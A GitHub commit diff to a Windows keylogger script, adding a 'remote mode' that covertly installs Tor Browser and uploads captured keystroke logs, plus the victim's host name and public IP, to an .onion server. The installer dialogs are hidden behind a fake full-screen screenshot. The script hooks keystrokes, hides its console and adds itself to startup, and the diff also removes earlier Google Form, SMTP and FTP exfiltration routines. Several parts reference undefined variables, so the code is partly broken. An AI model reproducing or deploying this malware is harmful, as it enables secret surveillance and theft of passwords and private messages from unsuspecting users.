Skip to content

Commit ca6880f

Browse files
remote mode - installing and using Tor Browser
1 parent 4ae049a commit ca6880f

File tree

1 file changed

+204
-111
lines changed

1 file changed

+204
-111
lines changed

Start.py

Lines changed: 204 additions & 111 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
win32api, winerror # for disallowing multiple instances
77
import win32gui, \
88
win32console # for getting window titles and hiding the console window
9+
import win32ui, win32con
910
from winreg import OpenKey, SetValueEx, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
1011

1112

@@ -33,21 +34,26 @@ def hide():
3334

3435

3536
import keyboard # for keyboard hooks. See docs https://github.com/boppreh/keyboard
36-
import time
3737
import psutil
38-
import ctypes # for getting window titles, current keyboard layout and capslock state
39-
import threading, smtplib # for emailing logs
40-
import ftplib # for sending logs via FTP
41-
import urllib # for accessing Google Forms
38+
from ctypes import WinDLL # for getting window titles, current keyboard layout and capslock state
39+
import urllib.request
4240
import datetime # for getting the current time and using timedelta
4341
from Cryptodome.PublicKey import RSA
4442
from Cryptodome.Cipher import PKCS1_OAEP
4543
import Cryptodome.Util
4644
from Cryptodome.Hash import SHA3_512
4745
import base64
4846
import hashlib # for hashing the names of files
49-
import random
50-
import ctypes
47+
import threading
48+
import requests
49+
import pysocks
50+
import socket
51+
from random import choice, shuffle
52+
from pywinauto.application import Application
53+
import pywinauto.timings
54+
import tkinter as tk
55+
from PIL import Image, ImageGrab, ImageTk
56+
import re
5157

5258

5359
# Disallowing multiple instances
@@ -62,6 +68,10 @@ def hide():
6268
# CONSTANTS
6369
PYTHON_EXEC_PATH = 'python' # used only when executable=False.
6470
# Examples: 'C:\\...\\python.exe' or 'python' if it is on your PATH.
71+
proxies = {'http': 'socks5h://127.0.0.1:9150',
72+
'https': 'socks5h://127.0.0.1:9150'}
73+
url_server_upload = "https://3g2upl4pq6kufc4m3g2upl4pq6kufc4m.onion/upload"
74+
url_server_check_connection = "https://3g2upl4pq6kufc4m3g2upl4pq6kufc4m.onion/check"
6575

6676

6777
# Add to startup for persistence
@@ -215,7 +225,7 @@ def add_to_startup():
215225

216226
def detect_key_layout():
217227
global lcid_dict
218-
user32 = ctypes.WinDLL('user32', use_last_error=True)
228+
user32 = WinDLL('user32', use_last_error=True)
219229
curr_window = user32.GetForegroundWindow()
220230
thread_id = user32.GetWindowThreadProcessId(curr_window, 0)
221231
klid = user32.GetKeyboardLayout(thread_id)
@@ -234,7 +244,7 @@ def detect_key_layout():
234244

235245
def get_capslock_state():
236246
# using the answer here https://stackoverflow.com/a/21160382
237-
hll_dll = ctypes.WinDLL("User32.dll")
247+
hll_dll = WinDLL("User32.dll")
238248
vk = 0x14
239249
return True if hll_dll.GetKeyState(vk) == 1 else False
240250

@@ -264,8 +274,7 @@ def update_upper_case():
264274

265275
def encrypt(message_str):
266276
global public_key, CHAR_LIMIT
267-
# Import the Public Key and use for encryption using PKCS1_OAEP (RSAES-OAEP).
268-
# See https://www.dlitz.net/software/pycrypto/api/2.6/Crypto.Cipher.PKCS1_OAEP-module.html
277+
# Import the Public Key and use for encryption using PKCS1_OAEP (RSAES-OAEP)
269278
key = RSA.importKey(public_key)
270279
cipher = PKCS1_OAEP.new(key, hashAlgo=SHA3_512)
271280
message = bytes(message_str, 'utf-8')
@@ -284,121 +293,205 @@ def encrypt(message_str):
284293
return encrypted_message
285294

286295

287-
def log_local():
288-
# Local mode
289-
global dir_path, line_buffer, backspace_buffer_len, window_name, time_logged
290-
todays_date = datetime.datetime.now().strftime('%Y-%b-%d')
291-
# md5 only for masking dates - it's easily crackable:
292-
todays_date_hashed = hashlib.md5(bytes(todays_date, 'utf-8')).hexdigest()
296+
def check_internet():
297+
protocols = ['https://', 'http://']
298+
sites_list = ['www.google.com', 'youtube.com', 'tmall.com', 'baidu.com', 'sohu.com', 'facebook.com',
299+
'taobao.com', 'login.tmall.com', 'wikipedia.org', 'yahoo.com', '360.cn', 'amazon.com', 'jd.com',
300+
'weibo.com', 'sina.com.cn', 'live.com', 'pages.tmall.com', 'reddit.com', 'vk.com', 'netflix.com',
301+
'blogspot.com', 'alipay.com', 'csdn.net', 'bing.com', 'yahoo.co.jp', 'Okezone.com', 'instagram.com',
302+
'google.com.hk', 'office.com'] # most popular websites in the world
293303
try:
294-
with open(os.path.join(dir_path, todays_date_hashed + ".txt"), "a") as fp:
295-
fp.write(line_buffer)
304+
random_protocol = choice(protocols)
305+
random_site = choice(sites_list)
306+
urllib.request.urlopen(random_protocol + random_site)
307+
return True
296308
except:
297-
# if there's a problem with a file size: rename the old one, and continue as normal
298-
counter = 0
299-
while os.path.exists(os.path.join(dir_path, todays_date_hashed + "_" + str(counter) + ".txt")):
300-
counter += 1
301309
try:
302-
os.rename(os.path.join(dir_path, todays_date_hashed + ".txt"),
303-
os.path.join(dir_path, todays_date_hashed + "_" + str(counter) + ".txt"))
304-
window_name = ''
305-
time_logged = datetime.datetime.now() - datetime.timedelta(minutes=MINUTES_TO_LOG_TIME)
306-
except Exception as e:
307-
if mode == "debug":
308-
print(e)
309-
line_buffer, backspace_buffer_len = '', 0
310-
return True
310+
if random_protocol == 'https://': # ensure switch to http (just in case)
311+
random_protocol = 'http://'
312+
urllib.request.urlopen(random_protocol + choice(sites_list))
313+
return True
314+
except:
315+
return False
316+
317+
318+
def find_file(root_folder, dir, file):
319+
for root, dirs, files in os.walk(root_folder):
320+
for f in files:
321+
file_search = (file == f)
322+
dir_search = (dir in root)
323+
if file_search and dir_search:
324+
return os.path.join(root, f)
325+
return
311326

312327

313-
def log_remote():
314-
# Remote mode - Google Form logs post
315-
global line_buffer, backspace_buffer_len
316-
url = "https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" # Specify Google Form URL here
317-
klog = {'entry.xxxxxxxxxxx': line_buffer} # Specify the Field Name here
328+
def find_file_in_all_drives(path):
329+
# create a regular expression for the file
330+
dir = os.path.split(path)[0]
331+
file = os.path.split(path)[-1]
332+
for drive in win32api.GetLogicalDriveStrings().split('\000')[:-1]:
333+
result = find_file(drive, dir, file)
334+
if result:
335+
return result
336+
337+
338+
def check_if_tor_browser_is_installed():
339+
return find_file_in_all_drives('Tor Browser\\Browser\\firefox.exe')
340+
341+
342+
def show_screenshot():
343+
root = tk.Toplevel()
344+
w, h = root.winfo_screenwidth(), root.winfo_screenheight()
345+
root.overrideredirect(1)
346+
root.geometry("%dx%d+0+0" % (w, h))
347+
root.focus_set()
348+
root.bind("<Escape>", lambda e: (e.widget.withdraw(), e.widget.quit()))
349+
canvas = tk.Canvas(root, width=w, height=h)
350+
canvas.pack()
351+
canvas.configure(background='black')
352+
screenshot = ImageGrab.grab()
353+
ph = ImageTk.PhotoImage(screenshot)
354+
canvas.create_image(w/2, h/2, image=ph)
355+
root.mainloop()
356+
return
357+
358+
359+
def install_tor_browser():
360+
if not os.name == "nt":
361+
return '' # TODO: Linux, MacOS
362+
# 1. Download the installer
318363
try:
319-
dataenc = urllib.parse.urlencode(klog)
320-
req = urllib.Request(url, dataenc)
321-
response = urllib.request.urlopen(req)
322-
line_buffer, backspace_buffer_len = '', 0
323-
except Exception as e:
324-
if mode == "debug":
325-
print(e)
364+
r = requests.get("http://www.torproject.org/download/")
365+
if r.status_code == 200:
366+
tor_windows_url = r.text.split(".exe")[0].split("href=\"")[-1] + ".exe"
367+
else:
368+
tor_windows_url = "https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe"
369+
except requests.exceptions.ConnectionError:
370+
tor_windows_url = "https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe"
371+
try:
372+
tor_installer = requests.get(tor_windows_url)
373+
except requests.exceptions.ConnectionError:
374+
return ''
375+
installer_path = os.path.join(dir_path, tor_windows_url.split("/")[-1])
376+
open(installer_path, 'wb').write(tor_installer.content)
377+
# 2. Install
378+
installation_dir = os.path.join(dir_path, "Tor_Browser")
379+
os.remove(installation_dir)
380+
381+
import multiprocessing
382+
screenshot_process = multiprocessing.Process(target=show_screenshot, args=())
383+
screenshot_process.start()
384+
385+
try:
386+
app = Application(backend="win32").start(installer_path)
387+
except:
388+
return ''
389+
try:
390+
app.Dialog.OK.wait('ready', timeout=30)
391+
app.Dialog.move_window(x=-2000, y=-2000)
392+
app.Dialog.OK.click()
393+
app.InstallDialog.Edit.wait('ready', timeout=30)
394+
app.Dialog.move_window(x=-2000, y=-2000)
395+
app.InstallDialog.Edit.set_edit_text(installation_dir)
396+
app.InstallDialog.InstallButton.wait('ready', timeout=30).click()
397+
try:
398+
app.InstallDialog.children()[0]
399+
if type(app.InstallDialog.children()[0]) == pywinauto.controls.win32_controls.ButtonWrapper:
400+
app.InstallDialog.children()[0].click() # Overwrite - Yes
401+
except:
402+
pass
403+
except pywinauto.timings.TimeoutError:
404+
app.kill()
405+
try:
406+
app.InstallDialog.CheckBox.wait('ready', timeout=30).uncheck()
407+
app.InstallDialog.CheckBox2.wait('ready', timeout=30).uncheck()
408+
app.InstallDialog.FinishButton.wait('ready', timeout=30).click()
409+
except pywinauto.timings.TimeoutError:
410+
app.kill()
411+
412+
screenshot_process.terminate()
413+
414+
# 3. Remove the installer
415+
os.remove(installer_path)
416+
return tor_installation_dir
417+
418+
419+
def open_tor_browser(installation_dir):
420+
pass
421+
422+
423+
def find_the_previous_log_and_send():
424+
if not check_internet():
425+
return
426+
# Find the old log
427+
found_filenames = []
428+
delta = 1
429+
while delta <= 366:
430+
previous_date = (datetime.date.today() - timedelta(days=delta)).strftime('%Y-%b-%d')
431+
previous_date_hashed = hashlib.md5(bytes(previous_date, 'utf-8')).hexdigest()
432+
if os.path.exists(previous_date_hashed + ".txt"):
433+
found_filenames.append(previous_date_hashed + ".txt")
434+
delta += 1
435+
# check if TOR is installed
436+
tor_installation_dir = check_if_tor_browser_is_installed()
437+
if tor_installation_dir == '':
438+
tor_installation_dir = install_tor_browser()
439+
if tor_installation_dir == '':
440+
return True # ONE DOES NOT SIMPLY USE CLEARNET.
441+
else: # USE DARKNET ONLY
442+
open_tor_browser(tor_installed[1])
443+
for found_filename in found_filenames:
444+
# Now that we found the old log files (found_filename), send them to our server.
445+
server_parser_list = [(r'http://jsonip.com', "r.json()['ip']"),
446+
(r'https://ifconfig.co/json', "r.json()['ip']"),
447+
(r'http://ip.42.pl/raw', "r.text"),
448+
(r'http://httpbin.org/ip', "r.json()['origin'].split(", ")[0]"),
449+
(r'https://api.ipify.org/?format=json', "r.json()['ip']")]
450+
shuffle(server_parser_list)
451+
ip = ""
452+
counter = 0
453+
while counter < 5:
454+
try:
455+
r = requests.get(server_parser_list[counter][0])
456+
if r.status_code == 200:
457+
ip = eval(server_parser_list[counter][1])
458+
break
459+
except requests.exceptions.ConnectionError:
460+
pass
461+
counter += 1
462+
new_found_filename = str(socket.getfqdn()) + ("_" if ip != "" else "") + ip + "_" + found_filename
463+
os.rename(found_filename, new_found_filename) # rename the file to avoid async errors
464+
sent_status_code = requests.get(url_server_check_connection, proxies=proxies).status_code
465+
if sent_status_code == 200: # send logs
466+
uploaded_status = requests.post(url_server_upload,
467+
proxies=proxies,
468+
data=open(new_found_filename, "rb").read()).status_code
469+
if uploaded_status == 200:
470+
os.remove(new_found_filename)
326471
return True
327472

328473

329-
class TimerClass(threading.Thread):
330-
# Email mode
331-
def __init__(self):
332-
threading.Thread.__init__(self)
333-
self.event = threading.Event()
334-
335-
def run(self):
336-
while not self.event.is_set():
337-
global line_buffer, backspace_buffer_len
338-
ts = datetime.datetime.now()
339-
SERVER = "smtp.gmail.com" # Specify Server Here
340-
PORT = 587 # Specify Port Here
341-
USER = "your_email@gmail.com" # Specify Username Here
342-
PASS = "password_here" # Specify Password Here
343-
FROM = USER # From address is taken from username
344-
TO = ["to_address@gmail.com"] # Specify to address.Use comma if more than one to address is needed.
345-
SUBJECT = "Keylogger data: " + str(ts)
346-
MESSAGE = line_buffer
347-
message = """\
348-
From: %s
349-
To: %s
350-
Subject: %s
351-
352-
%s
353-
""" % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
354-
try:
355-
server = smtplib.SMTP()
356-
server.connect(SERVER, PORT)
357-
server.starttls()
358-
server.login(USER, PASS)
359-
server.sendmail(FROM, TO, message)
360-
line_buffer, backspace_buffer_len = '', 0
361-
server.quit()
362-
except Exception as e:
363-
if mode == "debug":
364-
print(e)
365-
self.event.wait(120)
366-
367-
368-
def log_ftp():
369-
# FTP mode - Upload logs to FTP account
370-
global line_buffer, count, backspace_buffer_len
474+
def log_local():
475+
# Local mode
476+
global dir_path, line_buffer, backspace_buffer_len, window_name, time_logged
371477
todays_date = datetime.datetime.now().strftime('%Y-%b-%d')
372-
# md5 only for masking dates - it's easily crackable:
478+
# md5 only for masking dates - it's easily crackable for us:
373479
todays_date_hashed = hashlib.md5(bytes(todays_date, 'utf-8')).hexdigest()
374-
count += 1
375-
FILENAME = todays_date_hashed + "-" + str(count) + ".txt"
480+
# We need to check if it is a new day, if so, send the old log to the server.
481+
if not os.path.exists(todays_date_hashed + ".txt"): # a new day, a new life...
482+
if mode == "remote":
483+
# Evaluate find_the_previous_log_and_send asynchronously
484+
thr = threading.Thread(target=find_the_previous_log_and_send, args=(), kwargs={})
485+
thr.start()
486+
# thr.is_alive() # check if it is alive
487+
# thr.join()
376488
try:
377-
with open(FILENAME, "a") as fp:
489+
with open(os.path.join(dir_path, todays_date_hashed + ".txt"), "a") as fp:
378490
fp.write(line_buffer)
379-
except Exception as e:
491+
except:
380492
if mode == "debug":
381493
print(e)
382494
line_buffer, backspace_buffer_len = '', 0
383-
try:
384-
SERVER = "ftp.xxxxxx.com" # Specify your FTP Server address
385-
USERNAME = "ftp_username" # Specify your FTP Username
386-
PASSWORD = "ftp_password" # Specify your FTP Password
387-
SSL = 1 # Set 1 for SSL and 0 for normal connection
388-
OUTPUT_DIR = "/" # Specify output directory here
389-
if SSL == 0:
390-
ft = ftplib.FTP(SERVER, USERNAME, PASSWORD)
391-
else:
392-
ft = ftplib.FTP_TLS(SERVER, USERNAME, PASSWORD)
393-
ft.cwd(OUTPUT_DIR)
394-
with open(FILENAME, 'rb') as fp:
395-
cmd = 'STOR' + ' ' + FILENAME
396-
ft.storbinary(cmd, fp)
397-
ft.quit()
398-
os.remove(FILENAME)
399-
except Exception as e:
400-
if mode == "debug":
401-
print(e)
402495
return True
403496

404497

@@ -442,7 +535,7 @@ def key_callback(event):
442535
window_buffer, time_buffer = '', ''
443536

444537
# 1. Detect the active window change - if so, LOG THE WINDOW NAME
445-
user32 = ctypes.WinDLL('user32', use_last_error=True)
538+
user32 = WinDLL('user32', use_last_error=True)
446539
curr_window = user32.GetForegroundWindow()
447540
event_window_name = win32gui.GetWindowText(curr_window)
448541
if window_name != event_window_name:

0 commit comments

Comments
 (0)